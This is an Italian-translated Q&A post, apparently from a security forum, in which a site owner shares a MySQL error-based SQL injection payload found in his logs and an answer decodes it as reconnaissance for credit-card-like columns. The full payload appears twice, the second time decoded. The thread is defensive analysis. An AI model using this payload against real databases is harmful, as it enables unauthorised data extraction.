Qual è la natura di questo attacco di SQL injection?

2

Ho piuttosto scioccamente permesso l'iniezione SQL nel mio server in determinate circostanze. Tuttavia, non riesco a capire quale sia l'attacco raggiunto e come riparare qualunque cosa sia stata fatta.

Questo è l'SQL in questione:

'and(select 1  from( select count(*), 
concat(( select( select( 
select  concat(0x217e21,d. schema_name,0x217e21)  
from information_schema. schemata as d 
join information_schema. tables as t on t. table_schema = d. schema_name 
join information_schema. columns as c on c. table_schema = d. schema_name 
and c. table_name = t. table_name  
where not c. table_schema in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) 
and c. column_name like 0x25636325 
and not t. table_name in(0x616363657373,0x70687062625f7573657273)  
group by t. table_name  limit 2,1))  
from information_schema. tables  limit 0,1),floor(rand(0)*2))x  
from information_schema. tables  group by x)a) 
and '1'='1

(Newlines aggiunti per la leggibilità)

In effetti questo è stato inserito in questo tipo di scenario:

SELECT * FROM students WHERE name = '$name';

$name contiene quanto sopra (dovrei aver rilevato le virgolette, per lo meno). Avevo già rilevato e rimosso punti e virgola nel nome.

Le mie domande:

  • Che cosa fa esattamente?
  • Come posso annullare questo, se è necessario farlo?

Ho modificato questo particolare script per utilizzare le query parametrizzate, ma mi chiedo che cos'altro debba essere controllato. (In altre parole, quale danno è stato fatto?)

    
posta Nick Gammon 09.11.2016 - 09:37
fonte

1 risposta

3

Non sono un Guru MySQL, ma questo attacco SQLi sembra raccogliere solo informazioni sugli schemi. Ho tentato di migliorare la formattazione e convertito l'ascii codificato esadecimale come 0x217e21 nel suo equivalente testuale. Non capisco tutto questo SQL ma non ci sono aggiornamenti, né eliminazioni, né inserimenti, né stored procedure né chiamate batch. Quindi non vedo in alcun modo che questo possa modificare il tuo server o il tuo database.

Se l'autore dell'attacco ha anteposto un nome noto a questa query, può quindi stabilire se la parte centrale della query valutata su true (restituirebbe il record dello studente restituito) o falso (nessun record studente restituito).

Sembra che l'autore dell'attacco stia cercando di determinare se uno qualsiasi dei nomi di colonna contiene il pattern '% cc%', suppongo che stiano tentando di vedere se si memorizza il database delle carte di credito nel proprio DB. Potrebbero quindi modificare questo script per scoprire in quale tabella sono archiviate queste informazioni e quindi modificarle ancora una volta per selezionare da questa tabella. Strumenti come SQLMap consentono di eseguire questa operazione in modo rapido e indolore.

SELECT * FROM students WHERE name = '' and
(select 1  from( 
 select count(*), 
 concat(( 
    select( 
      select( 
        select  concat('!~!',d.schema_name,'!~!')  
        from information_schema.schemata as d 
        join information_schema.tables as t on 
            t.table_schema = d.schema_name 
        join information_schema. columns as c on 
            c.table_schema = d.schema_name and 
            c.table_name = t.table_name  
        where not c. table_schema in('information_schema','mysql') and
        c. column_name like '%cc%' and
        not t. table_name in('access', 'phpbb_users')  
        group by t. table_name  limit 2,1
      )
    )  
    from information_schema. tables  limit 0,1),
    floor(rand(0)*2))x  
from information_schema.tables  group by x
)a) 
and '1'='1'
    
risposta data 09.11.2016 - 10:50
fonte

Leggi altre domande sui tag